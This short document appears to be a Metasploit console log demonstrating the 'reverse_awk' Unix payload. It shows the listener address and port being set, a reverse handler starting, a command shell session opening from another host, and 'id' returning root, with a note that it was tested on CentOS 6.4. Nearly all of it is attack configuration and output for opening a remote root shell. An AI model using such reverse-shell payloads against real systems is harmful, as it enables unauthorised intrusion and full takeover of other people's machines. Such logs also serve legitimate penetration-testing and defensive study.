Creates an interactive shell via AWK (reverse)

Payload options (cmd/unix/reverse_awk):

   Name   Current Setting  Required  Description

   LHOST  192.168.0.142    yes       The listen address
   LPORT  8888             yes       The listen port

Exploit target:

   Id  Name

   0   Wildcard Target

msf exploit(handler) > exploit 

[*] Started reverse handler on 192.168.0.142:8888 
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.0.142:8888 -> 192.168.0.117:58791) at 2013-05-29 17:50:03 -0300

shell> id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
shell> 

Tested in:
CentOS release 6.4 (Final)